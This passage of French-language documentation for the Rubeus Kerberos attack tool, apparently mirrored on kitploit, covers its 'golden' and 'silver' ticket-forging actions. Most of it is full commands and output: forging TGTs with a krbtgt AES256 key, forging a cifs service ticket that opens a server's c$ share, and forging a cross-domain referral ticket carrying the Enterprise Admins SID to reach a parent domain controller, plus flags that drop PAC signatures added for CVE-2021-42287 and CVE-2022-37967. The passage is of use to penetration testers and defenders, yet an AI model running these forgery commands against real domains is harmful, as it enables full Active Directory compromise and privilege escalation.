L'autre fonctionnalité commune utilisée par les deux commandes est la récupération d'informations via LDAP. Les actions golden et silver supportent toutes deux la récupération d'informations via LDAP en utilisant le drapeau /ldap. Le drapeau /ldap peut être utilisé avec les arguments /creduser et /credpassword pour s'authentifier en tant qu'utilisateur alternatif lors de la récupération de ces informations. Les informations sont récupérées en envoyant 3 requêtes LDAP et en montant le partage SYSVOL d'un contrôleur de domaine (pour lire le fichier de stratégie de domaine) si aucune autre information n'est passée. Les requêtes LDAP seront automatiquement envoyées via TLS et reviendront à du LDAP en texte clair si cela échoue.

La première requête LDAP, qui sera toujours envoyée si ldap est passé, interroge l'utilisateur spécifié dans /user et récupère la plupart des informations de l'utilisateur nécessaires pour le PAC.

La deuxième requête LDAP sera envoyée si /groups, /pgid, /minpassage OU /maxpassage ne sont pas donnés sur la ligne de commande ; l'un de ces arguments donné sur la ligne de commande évitera d'interroger LDAP pour ces informations. Cette requête récupère les groupes dont l'utilisateur est membre, y compris le groupe principal, ainsi que l'objet de stratégie de domaine (utilisé pour obtenir le chemin vers le fichier de stratégie). Si /minpassage ou /maxpassage n'est pas fourni sur la ligne de commande et que l'objet de stratégie de domaine est récupéré via LDAP, le partage SYSVOL d'un contrôleur de domaine est monté et le fichier de stratégie est analysé pour obtenir les valeurs MinimumPasswordAge (pour définir la valeur appropriée pour le champ PasswordCanChange dans le PAC) et MaximumPasswordAge (pour définir la valeur appropriée pour le champ PasswordMustChange dans le PAC).

Enfin, si l'argument /netbios n'est pas donné sur la ligne de commande, une requête LDAP pour le nom netbios approprié du domaine est effectuée à partir du conteneur Configuration afin de définir le champ LogonDomainName dans le PAC. Si le drapeau /ldap n'est pas donné sur la ligne de commande et que l'argument /netbios n'est pas non plus donné, le premier élément (avant le premier point '.') est mis en majuscule et utilisé à la place.

Le drapeau /printcmd peut être utilisé pour afficher les arguments nécessaires à la génération d'un autre ticket contenant les mêmes informations PAC que celles utilisées pour générer le ticket actuel. Cela n'affichera pas les arguments liés aux heures de validité du ticket, car ceux-ci sont probablement différents pour tout futur ticket que vous souhaiteriez forger.

golden

L'action golden forgera un TGT pour l'utilisateur /user:X en chiffrant le ticket avec le hachage passé via /des:X, /rc4:X, /aes128:X ou /aes256:X et en utilisant la même clé pour créer le ServerChecksum et le KDCChecksum. Les différents arguments pour définir manuellement les champs sont décrits ci-dessus, ou le drapeau /ldap peut être utilisé pour récupérer automatiquement les informations du contrôleur de domaine.

Le commutateur /oldpac peut être utilisé pour exclure les nouveaux tampons PAC_INFO_BUFFER Requestor et Attributes, ajoutés en réponse à CVE-2021-42287.

Le commutateur /extendedupndns inclura les nouveaux éléments UpnDns étendus. Cela implique d'ajouter 2 aux Flags, ainsi que de contenir le samaccountname et le SID du compte.

Le paramètre /rodcNumber:x a été ajouté pour effectuer des Key List Requests Kerberos. La valeur de ce paramètre est le nombre spécifié après krbtgt_x dans l'attribut msDS-KrbTgtLink du contrôleur de domaine en lecture seule, par exemple krbtgt_12345 serait 12345. Cette requête nécessite certains drapeaux qui peuvent être définis en utilisant /flags:forwardable,renewable,enc_pa_rep. La clé (/des:X, /rc4:X, /aes128:X ou /aes256:X) utilisée pour le chiffrement est la clé du compte KRBTGT_x. Plus d'informations peuvent être trouvées dans l'article de blog d'Elad Shamir ici,

Forger un TGT en utilisant le drapeau /ldap pour récupérer les informations et le drapeau /printcmd pour afficher une commande pour forger un autre ticket avec les mêmes informations PAC :

root@kitploit:~
C:\Rubeus>Rubeus.exe golden /aes256:6a8941dcb801e0bf63444b830e5faabec24b442118ec60def839fd47a10ae3d5 /ldap /user:harmj0y /printcmd

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0

[*] Action: Build TGT

[*] Trying to query LDAP using LDAPS for user information on domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=harmj0y)'
[*] Retrieving domain policy information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(|(objectsid=S-1-5-21-3237111427-1607930709-3979055039-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] Attempting to mount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully mounted
[*] Attempting to unmount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully unmounted
[*] Retrieving netbios name information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local))'
[*] Building PAC

[*] Domain         : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID            : S-1-5-21-3237111427-1607930709-3979055039
[*] UserId         : 1106
[*] Groups         : 513
[*] ServiceKey     : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey         : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] KDCKeyType     : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service        : krbtgt
[*] Target         : rubeus.ghostpack.local

[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'

[*] AuthTime       : 29/07/2021 00:12:40
[*] StartTime      : 29/07/2021 00:12:40
[*] EndTime        : 29/07/2021 10:12:40
[*] RenewTill      : 05/08/2021 00:12:40

[*] base64(ticket.kirbi):

      doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                        ...(snip)...
      dWJldXMuZ2hvc3RwYWNrLmxvY2Fs



[*] Printing a command to recreate a ticket containing the information used within this ticket

C:\Rubeus\Rubeus.exe golden /aes256:6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5 /user:harmj0y /id:1106 /pgid:513 /domain:rubeus.ghostpack.local /sid:S-1-5-21-3237111427-1607930709-3979055039 /pwdlastset:"14/07/2021 02:07:12" /minpassage:1 /logoncount:16 /displayname:"Harm J0y" /netbios:RUBEUS /groups:513 /dc:PDC1.rubeus.ghostpack.local /uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD,NOT_DELEGATED

Forger un TGT, en définissant explicitement tout sur la ligne de commande :

root@kitploit:~
C:\Rubeus>Rubeus.exe golden /aes256:6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5 /user:harmj0y /id:1106 /pgid:513 /domain:rubeus.ghostpack.local /sid:S-1-5-21-3237111427-1607930709-3979055039 /pwdlastset:"14/07/2021 02:07:12" /minpassage:1 /logoncount:16 /displayname:"Harm J0y" /netbios:RUBEUS /groups:513 /dc:PDC1.rubeus.ghostpack.local /uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD,NOT_DELEGATED

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0

[*] Action: Build TGT

[*] Building PAC

[*] Domain         : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID            : S-1-5-21-3237111427-1607930709-3979055039
[*] UserId         : 1106
[*] Groups         : 513
[*] ServiceKey     : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey         : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] KDCKeyType     : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service        : krbtgt
[*] Target         : rubeus.ghostpack.local

[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'

[*] AuthTime       : 29/07/2021 00:18:19
[*] StartTime      : 29/07/2021 00:18:19
[*] EndTime        : 29/07/2021 10:18:19
[*] RenewTill      : 05/08/2021 00:18:19

[*] base64(ticket.kirbi):

      doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                        ...(snip)...
      dWJldXMuZ2hvc3RwYWNrLmxvY2Fs

Forger 5 TGTs commençant à des jours différents avec un intervalle de 1 jour entre les heures de début, le premier commençant maintenant, et en utilisant LDAP pour obtenir les informations PAC :

root@kitploit:~
C:\Rubeus>Rubeus.exe golden /aes256:6a8941dcb801e0bf63444b830e5faabec24b442118ec60def839fd47a10ae3d5 /ldap /user:harmj0y /rangeend:5d /rangeinterval:1d

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0

[*] Action: Build TGT

[*] Trying to query LDAP using LDAPS for user information on domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=harmj0y)'
[*] Retrieving domain policy information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(|(objectsid=S-1-5-21-3237111427-1607930709-3979055039-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] Attempting to mount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully mounted
[*] Attempting to unmount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully unmounted
[*] Retrieving netbios name information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local))'
[*] Building PAC

[*] Domain         : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID            : S-1-5-21-3237111427-1607930709-3979055039
[*] UserId         : 1106
[*] Groups         : 513
[*] ServiceKey     : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey         : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] KDCKeyType     : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service        : krbtgt
[*] Target         : rubeus.ghostpack.local

[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'

[*] AuthTime       : 29/07/2021 00:22:38
[*] StartTime      : 29/07/2021 00:22:38
[*] EndTime        : 29/07/2021 10:22:38
[*] RenewTill      : 05/08/2021 00:22:38

[*] base64(ticket.kirbi):

      doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                        ...(snip)...
      dWJldXMuZ2hvc3RwYWNrLmxvY2Fs


[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'

[*] AuthTime       : 30/07/2021 00:22:38
[*] StartTime      : 30/07/2021 00:22:38
[*] EndTime        : 30/07/2021 10:22:38
[*] RenewTill      : 06/08/2021 00:22:38

[*] base64(ticket.kirbi):

      doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                        ...(snip)...
      dWJldXMuZ2hvc3RwYWNrLmxvY2Fs


[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'

[*] AuthTime       : 31/07/2021 00:22:38
[*] StartTime      : 31/07/2021 00:22:38
[*] EndTime        : 31/07/2021 10:22:38
[*] RenewTill      : 07/08/2021 00:22:38

[*] base64(ticket.kirbi):

      doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                        ...(snip)...
      dWJldXMuZ2hvc3RwYWNrLmxvY2Fs


[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'

[*] AuthTime       : 01/08/2021 00:22:38
[*] StartTime      : 01/08/2021 00:22:38
[*] EndTime        : 01/08/2021 10:22:38
[*] RenewTill      : 08/08/2021 00:22:38

[*] base64(ticket.kirbi):

      doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                        ...(snip)...
      dWJldXMuZ2hvc3RwYWNrLmxvY2Fs


[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'

[*] AuthTime       : 02/08/2021 00:22:38
[*] StartTime      : 02/08/2021 00:22:38
[*] EndTime        : 02/08/2021 10:22:38
[*] RenewTill      : 09/08/2021 00:22:38

[*] base64(ticket.kirbi):

      doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                        ...(snip)...
      dWJldXMuZ2hvc3RwYWNrLmxvY2Fs

silver

L'action silver forgera un ticket pour l'utilisateur /user:X et le service /service:SPN, en chiffrant le ticket avec le hachage passé via /des:X, /rc4:X, /aes128:X ou /aes256:X et en utilisant la même clé pour créer le ServerChecksum. Si l'argument /krbkey:X est passé, il sera utilisé pour créer le KDCChecksum et le TicketChecksum (si le service n'est pas krbtgt/domain.com ou si domain.com est différent du realm utilisé dans le ticket, c'est-à-dire s'il s'agit d'un ticket de renvoi), sinon la même clé utilisée pour chiffrer le ticket est utilisée. Si krbenctype:X n'est pas passé, le même type de chiffrement utilisé par la clé du service est supposé pour le KDCChecksum et le TicketChecksum.

Les arguments /cname:X et /crealm:X peuvent être utilisés pour définir des valeurs différentes pour ces champs dans le EncTicketPart (partie chiffrée du ticket), ceci est parfois observé dans les tickets de délégation de renvoi. Une section PAC S4UDelegationInfo peut être ajoutée en passant les arguments /s4uproxytarget:X et /s4utransitedservices:SPN1,SPN2,..., cette section fournit une cible finale pour la délégation et la liste des SPN par lesquels la délégation a eu lieu.Le flag /authdata peut être utilisé pour ajouter des sections génériques de données d'autorisation au EncTicketPart, par défaut cela inclura une section KERB-LOCAL et une section KERB-AD-RESTRICTION-ENTRY avec quelques valeurs par défaut.

Le flag /nofullpacsig exclura le nouveau FullPacChecksum, introduit pour résoudre la vulnérabilité CVE-2022-37967. Cette signature est incluse par défaut dans tout ticket non sécurisé avec la clé krbtgt.

Forge d'un ticket de service pour cifs/SQL1.rubeus.ghostpack.local pour l'utilisateur ccob en utilisant le hachage de mot de passe RC4 du service et en signant les KDCChecksum et TicketChecksum avec la bonne clé KRBTGT AES256, en utilisant LDAP avec des identifiants alternatifs pour obtenir les informations PAC :

root@kitploit:~
C:\Rubeus>dir \\SQL1.rubeus.ghostpack.local\c$
The user name or password is incorrect.

C:\Rubeus>Rubeus.exe silver /service:cifs/SQL1.rubeus.ghostpack.local /rc4:f74b07eb77caa52b8d227a113cb649a6 /ldap /creduser:rubeus.ghostpack.local\Administrator /credpassword:Password1 /user:ccob /krbkey:6a8941dcb801e0bf63444b830e5faabec24b442118ec60def839fd47a10ae3d5 /krbenctype:aes256 /domain:rubeus.ghostpack.local /ptt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0

[*] Action: Build TGS

[*] Trying to query LDAP using LDAPS for user information on domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=ccob)'
[*] Retrieving group and domain policy information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(|(distinguishedname=CN=Domain Admins,CN=Users,DC=rubeus,DC=ghostpack,DC=local)(objectsid=S-1-5-21-3237111427-1607930709-3979055039-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] Attempting to mount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully mounted
[*] Attempting to unmount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully unmounted
[*] Retrieving netbios name information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[!] Unable to query forest root using System.DirectoryServices.ActiveDirectory.Forest, assuming rubeus.ghostpack.local is the forest root
[*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local))'
[*] Building PAC

[*] Domain         : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID            : S-1-5-21-3237111427-1607930709-3979055039
[*] UserId         : 1109
[*] Groups         : 512,513
[*] ServiceKey     : F74B07EB77CAA52B8D227A113CB649A6
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_MD5
[*] KDCKey         : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] KDCKeyType     : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service        : cifs
[*] Target         : SQL1.rubeus.ghostpack.local

[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGS for 'ccob' to 'cifs/SQL1.rubeus.ghostpack.local'

[*] AuthTime       : 29/07/2021 01:00:23
[*] StartTime      : 29/07/2021 01:00:23
[*] EndTime        : 29/07/2021 11:00:23
[*] RenewTill      : 05/08/2021 01:00:23

[*] base64(ticket.kirbi):

      doIFZTCCBWGgAwIBBaEDAgEWooIESDCCBERhggRAMIIEPKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                        ...(snip)...
      bG9jYWw=


[+] Ticket successfully imported!

C:\Rubeus>dir \\SQL1.rubeus.ghostpack.local\c$
 Volume in drive \\SQL1.rubeus.ghostpack.local\c$ has no label.
 Volume Serial Number is 1AD6-20BE

 Directory of \\SQL1.rubeus.ghostpack.local\c$

15/09/2018  08:19    <DIR>          PerfLogs
20/07/2021  18:17    <DIR>          Program Files
20/07/2021  18:17    <DIR>          Program Files (x86)
21/07/2021  01:53    <DIR>          Rubeus
20/07/2021  21:02    <DIR>          temp
20/07/2021  22:31    <DIR>          Users
20/07/2021  18:18    <DIR>          Windows
               0 File(s)              0 bytes
               7 Dir(s)  124,275,159,040 bytes free

Forge d'un TGT de référence pour un domaine approuvé, en utilisant LDAP pour récupérer les informations PAC :

root@kitploit:~
C:\Rubeus>Rubeus.exe silver /user:exploitph /ldap /service:krbtgt/dev.rubeus.ghostpack.local /rc4:856a1023055848748e7b9d505ebe0e02

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0

[*] Action: Build TGS

[*] Trying to query LDAP using LDAPS for user information on domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=exploitph)'
[*] Retrieving domain policy information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(|(objectsid=S-1-5-21-3237111427-1607930709-3979055039-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] Attempting to mount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully mounted
[*] Attempting to unmount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully unmounted
[*] Retrieving netbios name information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local))'
[*] Building PAC

[*] Domain         : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID            : S-1-5-21-3237111427-1607930709-3979055039
[*] UserId         : 1104
[*] Groups         : 513
[*] ServiceKey     : 856A1023055848748E7B9D505EBE0E02
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_MD5
[*] KDCKey         : 856A1023055848748E7B9D505EBE0E02
[*] KDCKeyType     : KERB_CHECKSUM_HMAC_MD5
[*] Service        : krbtgt
[*] Target         : dev.rubeus.ghostpack.local

[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'

[*] AuthTime       : 29/07/2021 02:45:54
[*] StartTime      : 29/07/2021 02:45:54
[*] EndTime        : 29/07/2021 12:45:54
[*] RenewTill      : 05/08/2021 02:45:54

[*] base64(ticket.kirbi):

      doIFojCCBZ6gAwIBBaEDAgEWooIEfjCCBHphggR2MIIEcqADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                        ...(snip)...
      LmxvY2Fs

Ce ticket peut ensuite être utilisé pour demander des tickets de service sur le domaine approuvé en utilisant asktgs :

root@kitploit:~
C:\Rubeus>Rubeus.exe asktgs /service:cifs/devdc1.dev.rubeus.ghostpack.local /dc:devdc1.dev.rubeus.ghostpack.local /ticket:doIFojCCBZ6gAwIBBa...(snip)...NrLmxvY2Fs

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0

[*] Action: Ask TGS

[*] Using domain controller: devdc1.dev.rubeus.ghostpack.local (192.168.71.85)
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'cifs/devdc1.dev.rubeus.ghostpack.local'
[+] TGS request successful!
[*] base64(ticket.kirbi):

      doIFrzCCBaugAwIBBaEDAgEWooIEgzCCBH9hggR7MIIEd6ADAgEFoRwbGkRFVi5SVUJFVVMuR0hPU1RQ
                                        ...(snip)...
      ZXVzLmdob3N0cGFjay5sb2NhbA==

  ServiceName              :  cifs/devdc1.dev.rubeus.ghostpack.local
  ServiceRealm             :  DEV.RUBEUS.GHOSTPACK.LOCAL
  UserName                 :  exploitph
  UserRealm                :  RUBEUS.GHOSTPACK.LOCAL
  StartTime                :  29/07/2021 02:51:05
  EndTime                  :  29/07/2021 12:45:54
  RenewTill                :  05/08/2021 02:45:54
  Flags                    :  name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  v1Bnp3plKCePeRpg1hrtYkI7bPDk6vw5uoj5MBNSThw=

Forge un TGT de référence pour [email protected] pour le domaine parent rubeus.ghostpack.local et inclure le SID du groupe Enterprise Admins :

root@kitploit:~
C:\Rubeus>Rubeus.exe silver /user:dev.ccob /ldap /service:krbtgt/rubeus.ghostpack.local /rc4:856a1023055848748e7b9d505ebe0e02 /sids:S-1-5-21-3237111427-1607930709-3979055039-519 /nowrap

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0

[*] Action: Build TGS

[*] Trying to query LDAP using LDAPS for user information on domain controller DevDC1.dev.rubeus.ghostpack.local
[*] Searching path 'DC=dev,DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=dev.ccob)'
[*] Retrieving domain policy information over LDAP from domain controller DevDC1.dev.rubeus.ghostpack.local
[*] Searching path 'DC=dev,DC=rubeus,DC=ghostpack,DC=local' for '(|(objectsid=S-1-5-21-2065789546-4129202522-221898516-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] Attempting to mount: \\devdc1.dev.rubeus.ghostpack.local\SYSVOL
[*] \\devdc1.dev.rubeus.ghostpack.local\SYSVOL successfully mounted
[*] Attempting to unmount: \\devdc1.dev.rubeus.ghostpack.local\SYSVOL
[*] \\devdc1.dev.rubeus.ghostpack.local\SYSVOL successfully unmounted
[*] Retrieving netbios name information over LDAP from domain controller DevDC1.dev.rubeus.ghostpack.local
[*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=dev.rubeus.ghostpack.local))'
[*] Building PAC

[*] Domain         : DEV.RUBEUS.GHOSTPACK.LOCAL (DEV)
[*] SID            : S-1-5-21-2065789546-4129202522-221898516
[*] UserId         : 1107
[*] Groups         : 513
[*] ExtraSIDs      : S-1-5-21-3237111427-1607930709-3979055039-519
[*] ServiceKey     : 856A1023055848748E7B9D505EBE0E02
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_MD5
[*] KDCKey         : 856A1023055848748E7B9D505EBE0E02
[*] KDCKeyType     : KERB_CHECKSUM_HMAC_MD5
[*] Service        : krbtgt
[*] Target         : rubeus.ghostpack.local

[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'

[*] AuthTime       : 29/07/2021 03:03:34
[*] StartTime      : 29/07/2021 03:03:34
[*] EndTime        : 29/07/2021 13:03:34
[*] RenewTill      : 05/08/2021 03:03:34

[*] base64(ticket.kirbi):

      doIF0TCCBc2gAwIBBaEDAgEWooIEqTCCBKVhggShMIIEnaADAgEFoRwbGkRFVi5SVUJFVVMuR0hPU1RQ
                                        ...(snip)...
      G9zdHBhY2subG9jYWw=

Ce TGT de référence peut ensuite être utilisé pour demander des tickets de service pour les services dans rubeus.ghostpack.local en utilisant la commande asktgs et obtenir les privilèges du groupe Enterprise Admins :

root@kitploit:~
C:\Rubeus>Rubeus.exe asktgs /service:cifs/pdc1.rubeus.ghostpack.local /dc:pdc1.rubeus.ghostpack.local /ptt /ticket:doIF0TCCBc2gAwIBBaE...(snip)...cy5naG9zdHBhY2subG9jYWw=

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0

[*] Action: Ask TGS

[*] Using domain controller: pdc1.rubeus.ghostpack.local (192.168.71.80)
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'cifs/pdc1.rubeus.ghostpack.local'
[+] TGS request successful!
[+] Ticket successfully imported!
[*] base64(ticket.kirbi):

      doIF9zCCBfOgAwIBBaEDAgEWooIE1DCCBNBhggTMMIIEyKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                         ...(snip)...
      ZnMbG3BkYzEucnViZXVzLmdob3N0cGFjay5sb2NhbA==

  ServiceName              :  cifs/pdc1.rubeus.ghostpack.local
  ServiceRealm             :  RUBEUS.GHOSTPACK.LOCAL
  UserName                 :  dev.ccob
  UserRealm                :  DEV.RUBEUS.GHOSTPACK.LOCAL
  StartTime                :  29/07/2021 03:04:26
  EndTime                  :  29/07/2021 13:03:34
  RenewTill                :  05/08/2021 03:03:34
  Flags                    :  name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  lQGdcWT5/cacHGFko3fDJvF9poFK+tH5hctlDN89peY=



C:\Rubeus>dir \\pdc1.rubeus.ghostpack.local\c$
 Volume in drive \\pdc1.rubeus.ghostpack.local\c$ has no label.
 Volume Serial Number is 3C5F-0EF1

 Directory of \\pdc1.rubeus.ghostpack.local\c$

30/06/2021  02:13    <DIR>          inetpub
15/09/2018  08:19    <DIR>          PerfLogs
09/06/2021  17:45    <DIR>          Program Files
09/06/2021  17:45    <DIR>          Program Files (x86)
14/07/2021  01:18    <DIR>          Rubeus
19/07/2021  20:48    <DIR>          temp
30/06/2021  02:14    <DIR>          Users
14/07/2021  02:17    <DIR>          Windows
               0 File(s)              0 bytes
               8 Dir(s)  94,901,772,288 bytes free

diamond

